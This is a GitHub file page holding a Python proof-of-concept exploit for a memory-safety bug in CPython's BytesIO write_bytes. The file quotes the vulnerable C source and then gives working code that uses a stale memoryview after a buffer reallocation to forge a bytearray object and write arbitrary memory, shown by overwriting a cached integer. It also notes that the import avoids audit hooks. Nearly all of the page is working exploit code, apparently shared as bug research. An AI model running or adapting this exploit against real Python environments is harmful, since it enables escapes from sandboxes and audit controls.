-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathbytesio_bug.py
More file actions
84 lines (69 loc) · 2.53 KB
/
bytesio_bug.py
File metadata and controls
84 lines (69 loc) · 2.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
"""
Author: @Nico-Posada
Bug Credits: @Nico-Posada
"""
# TLDR: Create a memoryview object that can write to a location its not supposed to write to
# Tested to work on 3.13.0, 3.13.1, 3.14.0
# Here is the vulnerable code as of 3.14.0
# https://github.com/python/cpython/blob/v3.14.0/Modules/_io/bytesio.c#L184-L244
"""
Py_NO_INLINE static Py_ssize_t
write_bytes(bytesio *self, PyObject *b)
{
if (check_closed(self)) {
return -1;
}
if (check_exports(self)) { // <--- checks for exports here
return -1;
}
Py_buffer buf;
if (PyObject_GetBuffer(b, &buf, PyBUF_CONTIG_RO) < 0) { // <-- can call back to python code as of 3.12
return -1;
}
Py_ssize_t len = buf.len;
if (len == 0) {
goto done;
}
/* ... */
"""
# So the goal here is to get the memoryview of our buffer, then resize the buffer to have it realloc somewhere totally different.
# Once that's done, the memoryview will still be able to write to the location the buffer was at before the realloc, so we can
# fill in that area with a controlled object and use the memoryview to overwrite the header to become an evil bytearray object.
# _io isn't an audited import (unless sys.modules has been cleared beforehand)
from _io import BytesIO
from common import evil_bytearray_obj, BYTEORDER
import os
class bytes_subclass(bytes):
pass
class evil(bytes):
def __buffer__(self, flags):
global view, obj
# grab a memoryview of the buffer after the exports check
view = obj.getbuffer().cast('P')
return super().__buffer__(flags)
SIZE = 0x100
obj = BytesIO(bytes(SIZE))
view = None
# because we created our bytes object in a mempool (any object that's allocated with <0x200 bytes),
# when it writes this it has to reallocate the buffer somewhere different (wont realloc in place),
# but our memoryview will still be able to read/write in the original spot
obj.write(evil(0x20000))
if view is None:
exit("failed")
# create our controlled object which has its header in a spot our memoryview can write to
mem = bytes_subclass(SIZE - 0x18)
# see ./common/common.py for evil bytearray obj explanation
fake_obj, _ = evil_bytearray_obj()
# write evil bytearray object data
for idx in range(0, len(fake_obj), 8):
val = int.from_bytes(fake_obj[idx:idx+8], BYTEORDER)
view[idx // 8] = val
view.release()
del view
# done
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100
# program segfaults on cleanup so we use os._exit to pretend it never happens :D
os._exit(0)